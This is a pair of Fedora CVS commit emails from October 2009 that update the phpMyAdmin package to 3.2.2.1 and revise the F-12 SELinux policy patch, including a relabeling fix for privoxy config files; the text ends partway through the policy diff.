	.cvsignore phpMyAdmin.spec sources 
Log Message:
- Upstream released 3.2.2.1 (#528769)
- Require php-mcrypt for cookie authentication (#526979)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/phpMyAdmin/F-12/.cvsignore,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- .cvsignore	13 Sep 2009 15:14:41 -0000	1.42
+++ .cvsignore	13 Oct 2009 21:50:05 -0000	1.43
@@ -1 +1 @@
-phpMyAdmin-3.2.2-all-languages.tar.bz2
+phpMyAdmin-3.2.2.1-all-languages.tar.bz2


Index: phpMyAdmin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/phpMyAdmin/F-12/phpMyAdmin.spec,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- phpMyAdmin.spec	13 Sep 2009 15:14:41 -0000	1.48
+++ phpMyAdmin.spec	13 Oct 2009 21:50:05 -0000	1.49
@@ -1,5 +1,5 @@
 Name: phpMyAdmin
-Version: 3.2.2
+Version: 3.2.2.1
 Release: 1%{?dist}
 Summary: Web based MySQL browser written in php
 
@@ -16,6 +16,7 @@ Requires: webserver 
 Requires: php >= 5.2.0
 Requires: php-mysql >= 5.2.0
 Requires: php-mbstring >= 5.2.0
+Requires: php-mcrypt >= 5.2.0
 Provides: phpmyadmin 
 
 %description
@@ -54,6 +55,10 @@ rm -rf %{buildroot}
 %config(noreplace) %{_sysconfdir}/%{name}
 
 %changelog
+* Tue Oct 13 2009 Robert Scheck <robert at fedoraproject.org> 3.2.2.1-1
+- Upstream released 3.2.2.1 (#528769)
+- Require php-mcrypt for cookie authentication (#526979)
+
 * Sun Sep 13 2009 Robert Scheck <robert at fedoraproject.org> 3.2.2-1
 - Upstream released 3.2.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/phpMyAdmin/F-12/sources,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- sources	13 Sep 2009 15:14:41 -0000	1.42
+++ sources	13 Oct 2009 21:50:05 -0000	1.43
@@ -1 +1 @@
-a5f6492f89ee1ff17b76593af79640ce  phpMyAdmin-3.2.2-all-languages.tar.bz2
+093a22e8ffc7c701e8a671491abbd650  phpMyAdmin-3.2.2.1-all-languages.tar.bz2



From dwalsh at fedoraproject.org  Tue Oct 13 22:13:46 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Tue, 13 Oct 2009 22:13:46 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 policy-F12.patch, 1.105,
	1.106 selinux-policy.spec, 1.942, 1.943
Message-ID: <20091013221346.D297711C00E8@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29733

Modified Files:
	policy-F12.patch selinux-policy.spec 
Log Message:
* Tue Oct 13 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-26
- Fix labeling for privoxy config files


policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/alsa.te              |    2 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    1 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  264 +++++
 policy/modules/admin/rpm.te               |   95 +
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   68 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   34 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    2 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   61 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   31 
 policy/modules/apps/execmem.if            |   74 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 ++
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  112 ++
 policy/modules/apps/java.te               |   14 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 +
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 ++
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   13 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 ++++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |    7 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  190 +++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   56 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  183 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    5 
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   28 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   34 
 policy/modules/kernel/devices.fc          |    8 
 policy/modules/kernel/devices.if          |  183 +++
 policy/modules/kernel/devices.te          |   19 
 policy/modules/kernel/domain.if           |  151 ++-
 policy/modules/kernel/domain.te           |   84 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  298 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |   10 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  123 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 +++++++++++++
 policy/modules/roles/unconfineduser.te    |  410 ++++++++
 policy/modules/roles/unprivuser.te        |  127 --
 policy/modules/roles/xguest.te            |   36 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   21 
 policy/modules/services/abrt.te           |   21 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   38 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  439 +++++++--
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bluetooth.te      |    9 
 policy/modules/services/ccs.fc            |    5 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   19 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    4 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   35 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 -
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   54 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   11 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    1 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 -
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.te          |    2 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.te          |   11 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |    7 
 policy/modules/services/mta.te            |   35 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   11 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   55 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   64 +
 policy/modules/services/networkmanager.te |  115 ++
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.te           |   10 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 ++++++
 policy/modules/services/plymouth.te       |   92 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 +
 policy/modules/services/policykit.te      |   64 +
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++-
 policy/modules/services/postfix.te        |  140 ++
 policy/modules/services/postgresql.fc     |    1 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.fc        |    3 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    6 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   58 +
 policy/modules/services/rhcs.fc           |   21 
 policy/modules/services/rhcs.if           |  309 ++++++
 policy/modules/services/rhcs.te           |  340 +++++++
 policy/modules/services/ricci.te          |   21 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  102 ++
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  137 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 +++
 policy/modules/services/ssh.te            |   77 +
 policy/modules/services/sssd.fc           |    2 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |    6 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   12 
 policy/modules/services/virt.if           |  127 ++
 policy/modules/services/virt.te           |  283 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   33 
 policy/modules/services/xserver.if        |  534 ++++++++++-
 policy/modules/services/xserver.te        |  318 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  205 +++-
 policy/modules/system/authlogin.te        |   10 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 +++
 policy/modules/system/init.te             |  285 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   55 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 ++
 policy/modules/system/iptables.te         |   15 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  159 ++-
 policy/modules/system/libraries.if        |    4 
 policy/modules/system/libraries.te        |   17 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.te              |   25 
 policy/modules/system/miscfiles.fc        |    2 
 policy/modules/system/miscfiles.if        |   60 +
 policy/modules/system/miscfiles.te        |    3 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  227 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   77 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   21 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 ---------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1430 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   50 -
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 350 files changed, 16489 insertions(+), 2631 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.105
retrieving revision 1.106
diff -u -p -r1.105 -r1.106
--- policy-F12.patch	12 Oct 2009 13:39:10 -0000	1.105
+++ policy-F12.patch	13 Oct 2009 22:13:44 -0000	1.106
@@ -1313,8 +1313,8 @@ diff -b -B --ignore-all-space --exclude-
 +## <summary>The Fedora hardware profiler client</summary>
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/smoltclient.te serefpolicy-3.6.32/policy/modules/admin/smoltclient.te
 --- nsaserefpolicy/policy/modules/admin/smoltclient.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/admin/smoltclient.te	2009-09-30 16:12:48.000000000 -0400
-@@ -0,0 +1,67 @@
++++ serefpolicy-3.6.32/policy/modules/admin/smoltclient.te	2009-10-13 10:09:59.000000000 -0400
+@@ -0,0 +1,68 @@
 +policy_module(smoltclient,1.0.0)
 +
 +########################################
@@ -1359,6 +1359,7 @@ diff -b -B --ignore-all-space --exclude-
 +dev_read_sysfs(smoltclient_t)
 +
 +fs_getattr_all_fs(smoltclient_t)
++fs_getattr_all_dirs(smoltclient_t)
 +
 +files_getattr_generic_locks(smoltclient_t)
 +files_read_etc_files(smoltclient_t)
@@ -1480,8 +1481,16 @@ diff -b -B --ignore-all-space --exclude-
  	')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/usermanage.te serefpolicy-3.6.32/policy/modules/admin/usermanage.te
 --- nsaserefpolicy/policy/modules/admin/usermanage.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/admin/usermanage.te	2009-09-30 16:12:48.000000000 -0400
-@@ -197,6 +197,7 @@
++++ serefpolicy-3.6.32/policy/modules/admin/usermanage.te	2009-10-13 18:03:31.000000000 -0400
+@@ -82,6 +82,7 @@
+ selinux_compute_relabel_context(chfn_t)
+ selinux_compute_user_contexts(chfn_t)
+ 
++term_use_console(chfn_t)
+ term_use_all_user_ttys(chfn_t)
+ term_use_all_user_ptys(chfn_t)
+ 
+@@ -197,6 +198,7 @@
  selinux_compute_relabel_context(groupadd_t)
  selinux_compute_user_contexts(groupadd_t)
  
@@ -1489,7 +1498,7 @@ diff -b -B --ignore-all-space --exclude-
  term_use_all_user_ttys(groupadd_t)
  term_use_all_user_ptys(groupadd_t)
  
-@@ -209,6 +210,7 @@
+@@ -209,6 +211,7 @@
  files_manage_etc_files(groupadd_t)
  files_relabel_etc_files(groupadd_t)
  files_read_etc_runtime_files(groupadd_t)
@@ -1497,7 +1506,7 @@ diff -b -B --ignore-all-space --exclude-
  
  # Execute /usr/bin/{passwd, chfn, chsh} and /usr/sbin/{useradd, vipw}.
  corecmd_exec_bin(groupadd_t)
-@@ -218,14 +220,11 @@
+@@ -218,14 +221,11 @@
  
  miscfiles_read_localization(groupadd_t)
  
@@ -1514,7 +1523,15 @@ diff -b -B --ignore-all-space --exclude-
  
  seutil_read_config(groupadd_t)
  
-@@ -329,6 +328,7 @@
+@@ -288,6 +288,7 @@
+ selinux_compute_relabel_context(passwd_t)
+ selinux_compute_user_contexts(passwd_t)
+ 
++term_use_console(passwd_t)
+ term_use_all_user_ttys(passwd_t)
+ term_use_all_user_ptys(passwd_t)
+ 
+@@ -329,6 +330,7 @@
  # user generally runs this from their home directory, so do not audit a search
  # on user home dir
  userdom_dontaudit_search_user_home_content(passwd_t)
@@ -1522,7 +1539,15 @@ diff -b -B --ignore-all-space --exclude-
  
  optional_policy(`
  	nscd_domtrans(passwd_t)
-@@ -446,6 +446,7 @@
+@@ -378,6 +380,7 @@
+ fs_getattr_xattr_fs(sysadm_passwd_t)
+ fs_search_auto_mountpoints(sysadm_passwd_t)
+ 
++term_use_console(sysadm_passwd_t)
+ term_use_all_user_ttys(sysadm_passwd_t)
+ term_use_all_user_ptys(sysadm_passwd_t)
+ 
+@@ -446,6 +449,7 @@
  corecmd_exec_bin(useradd_t)
  
  domain_use_interactive_fds(useradd_t)
@@ -1530,7 +1555,7 @@ diff -b -B --ignore-all-space --exclude-
  
  files_manage_etc_files(useradd_t)
  files_search_var_lib(useradd_t)
-@@ -465,18 +466,16 @@
+@@ -465,18 +469,16 @@
  selinux_compute_relabel_context(useradd_t)
  selinux_compute_user_contexts(useradd_t)
  
@@ -1553,7 +1578,7 @@ diff -b -B --ignore-all-space --exclude-
  
  init_use_fds(useradd_t)
  init_rw_utmp(useradd_t)
-@@ -494,10 +493,8 @@
+@@ -494,10 +496,8 @@
  
  userdom_use_unpriv_users_fds(useradd_t)
  # Add/remove user home directories
@@ -1565,7 +1590,7 @@ diff -b -B --ignore-all-space --exclude-
  
  mta_manage_spool(useradd_t)
  
-@@ -521,6 +518,12 @@
+@@ -521,6 +521,12 @@
  ')
  
  optional_policy(`
@@ -1754,8 +1779,8 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/chrome.te serefpolicy-3.6.32/policy/modules/apps/chrome.te
 --- nsaserefpolicy/policy/modules/apps/chrome.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/chrome.te	2009-10-02 11:00:23.000000000 -0400
-@@ -0,0 +1,57 @@
++++ serefpolicy-3.6.32/policy/modules/apps/chrome.te	2009-10-13 17:35:54.000000000 -0400
+@@ -0,0 +1,61 @@
 +policy_module(chrome,1.0.0)
 +
 +########################################
@@ -1810,6 +1835,10 @@ diff -b -B --ignore-all-space --exclude-
 +miscfiles_read_fonts(chrome_sandbox_t)
 +
 +optional_policy(`
++	xserver_read_home_fonts(chrome_sandbox_t)
++')
++
++optional_policy(`
 +	execmem_exec(chrome_sandbox_t)
 +')
 +
@@ -6177,7 +6206,7 @@ diff -b -B --ignore-all-space --exclude-
  /var/lib/nfs/rpc_pipefs(/.*)?	<<none>>
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/files.if serefpolicy-3.6.32/policy/modules/kernel/files.if
 --- nsaserefpolicy/policy/modules/kernel/files.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/files.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/files.if	2009-10-13 11:03:54.000000000 -0400
 @@ -110,6 +110,11 @@
  ## </param>
  #
@@ -6614,7 +6643,7 @@ diff -b -B --ignore-all-space --exclude-
 +/dev/shm		-d	gen_context(system_u:object_r:tmpfs_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/filesystem.if serefpolicy-3.6.32/policy/modules/kernel/filesystem.if
 --- nsaserefpolicy/policy/modules/kernel/filesystem.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/filesystem.if	2009-10-01 17:13:44.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/filesystem.if	2009-10-13 10:09:53.000000000 -0400
 @@ -1149,6 +1149,44 @@
  	domain_auto_transition_pattern($1, cifs_t, $2)
  ')
@@ -6853,7 +6882,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/filesystem.te serefpolicy-3.6.32/policy/modules/kernel/filesystem.te
 --- nsaserefpolicy/policy/modules/kernel/filesystem.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/filesystem.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/filesystem.te	2009-10-13 11:34:04.000000000 -0400
 @@ -93,7 +93,7 @@
  type hugetlbfs_t;
  fs_type(hugetlbfs_t)
@@ -6863,6 +6892,15 @@ diff -b -B --ignore-all-space --exclude-
  
  type ibmasmfs_t;
  fs_type(ibmasmfs_t)
+@@ -170,7 +170,7 @@
+ # where we want to label objects with a derived type.
+ fs_use_trans mqueue gen_context(system_u:object_r:tmpfs_t,s0);
+ fs_use_trans shm gen_context(system_u:object_r:tmpfs_t,s0);
+-fs_use_trans tmpfs gen_context(system_u:object_r:tmpfs_t,s0);
++fs_use_trans devtmpfs gen_context(system_u:object_r:tmpfs_t,s0);
+ 
+ allow tmpfs_t noxattrfs:filesystem associate;
+ 
 @@ -250,9 +250,13 @@
  genfscon ncpfs / gen_context(system_u:object_r:nfs_t,s0)
  genfscon reiserfs / gen_context(system_u:object_r:nfs_t,s0)
@@ -7152,7 +7190,7 @@ diff -b -B --ignore-all-space --exclude-
  /dev/tty		-c	gen_context(system_u:object_r:devtty_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/terminal.if serefpolicy-3.6.32/policy/modules/kernel/terminal.if
 --- nsaserefpolicy/policy/modules/kernel/terminal.if	2009-09-09 09:23:16.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/terminal.if	2009-10-09 07:40:19.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/terminal.if	2009-10-13 18:05:04.000000000 -0400
 @@ -196,7 +196,7 @@
  
  	dev_list_all_dev_nodes($1)
@@ -8826,8 +8864,8 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/roles/unprivuser.te serefpolicy-3.6.32/policy/modules/roles/unprivuser.te
 --- nsaserefpolicy/policy/modules/roles/unprivuser.te	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/roles/unprivuser.te	2009-09-30 16:12:48.000000000 -0400
-@@ -14,142 +14,21 @@
++++ serefpolicy-3.6.32/policy/modules/roles/unprivuser.te	2009-10-13 14:49:35.000000000 -0400
+@@ -14,96 +14,19 @@
  userdom_unpriv_user_template(user)
  
  optional_policy(`
@@ -8847,10 +8885,9 @@ diff -b -B --ignore-all-space --exclude-
  
  optional_policy(`
 -	cdrecord_role(user_r, user_t)
-+	sandbox_transition(user_t, user_r)
- ')
- 
- optional_policy(`
+-')
+-
+-optional_policy(`
 -	cron_role(user_r, user_t)
 -')
 -
@@ -8925,13 +8962,14 @@ diff -b -B --ignore-all-space --exclude-
 -
 -optional_policy(`
 -	rssh_role(user_r, user_t)
--')
--
--optional_policy(`
--	screen_role_template(user, user_r, user_t)
--')
--
--optional_policy(`
++	sandbox_transition(user_t, user_r)
+ ')
+ 
+ optional_policy(`
+@@ -111,45 +34,5 @@
+ ')
+ 
+ optional_policy(`
 -	spamassassin_role(user_r, user_t)
 -')
 -
@@ -16594,6 +16632,17 @@ diff -b -B --ignore-all-space --exclude-
  allow prelude_audisp_t self:fifo_file rw_file_perms;
  allow prelude_audisp_t self:unix_stream_socket create_stream_socket_perms;
  allow prelude_audisp_t self:unix_dgram_socket create_socket_perms;
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/privoxy.fc serefpolicy-3.6.32/policy/modules/services/privoxy.fc
+--- nsaserefpolicy/policy/modules/services/privoxy.fc	2009-07-14 14:19:57.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/privoxy.fc	2009-10-13 11:19:42.000000000 -0400
+@@ -1,6 +1,5 @@
+ 
+-/etc/privoxy/user\.action --	gen_context(system_u:object_r:privoxy_etc_rw_t,s0)
+-/etc/privoxy/default\.action --	gen_context(system_u:object_r:privoxy_etc_rw_t,s0)
